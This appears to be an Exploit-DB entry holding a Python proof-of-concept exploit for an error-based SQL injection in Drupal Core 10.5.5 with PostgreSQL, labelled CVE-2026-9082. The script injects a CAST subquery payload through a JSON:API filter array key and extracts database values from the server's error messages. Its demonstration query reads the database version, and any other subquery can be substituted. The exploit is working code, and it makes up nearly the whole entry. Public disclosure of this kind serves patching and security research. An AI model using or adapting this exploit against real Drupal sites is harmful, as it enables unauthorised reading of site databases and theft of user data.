Drupal Core 10.5.5 - Error-Based SQL Injection

EDB-ID:

52608




Platform:

PHP

Date:

2026-06-01


# Exploit Title: Drupal Core 10.5.5 - Error-Based SQL Injection 
# Google Dork: N/A
# Date: 2026-05-31
# Exploit Author: cardosource
# Vendor Homepage: https://www.drupal.org
# Software Link: https://www.drupal.org/project/drupal
# Version: Drupal Core 10.5.5
# Tested on: Debian Linux (Docker), PHP 8.2, Apache, PostgreSQL 17
# CVE: CVE-2026-9082
#
# Description:
# This proof-of-concept demonstrates an Error-Based SQL Injection in
# Drupal Core 10.5.5 (PostgreSQL). User-controlled JSON:API filter
# array keys influence SQL query construction, allowing database
# information disclosure through SQL error messages.



import requests
import json
from urllib.parse import urlencode

TARGET_URL = "http://localhost:8080/jsonapi/node/article"

BANNER = """
[+] Drupal Core 10.5.5 - Error-Based SQL Injection
[+] CVE-2026-9082
[+] Target: JSON:API (PostgreSQL)
"""


def extract_data(subquery):
    headers = {
        "Accept": "application/vnd.api+json",
        "Content-Type": "application/vnd.api+json"
    }
    
    payload = f"0||CAST(({subquery}) AS INTEGER)"
   
    params = {
        "filter[my_filter][condition][path]": "title",
        "filter[my_filter][condition][operator]": "IN",
        "filter[my_filter][condition][value][0]": "Example",
        f"filter[my_filter][condition][value][{payload}]": "Injection"
    }
    
    try:
        response = requests.get(TARGET_URL, headers=headers, params=params, timeout=10)
       
        if response.status_code == 500:
            try:
                error = response.json().get("errors", [{}])[0].get("detail", "")
                if "invalid input syntax" in error:
                    data = error.split('"')[1] if '"' in error else error
                    print(f"\033[92m[SUCCESS]\033[0m {data}")
            except json.JSONDecodeError:
                pass
    except requests.exceptions.RequestException:
        pass


if __name__ == "__main__":
    print(BANNER) 
    extract_data("SELECT version()")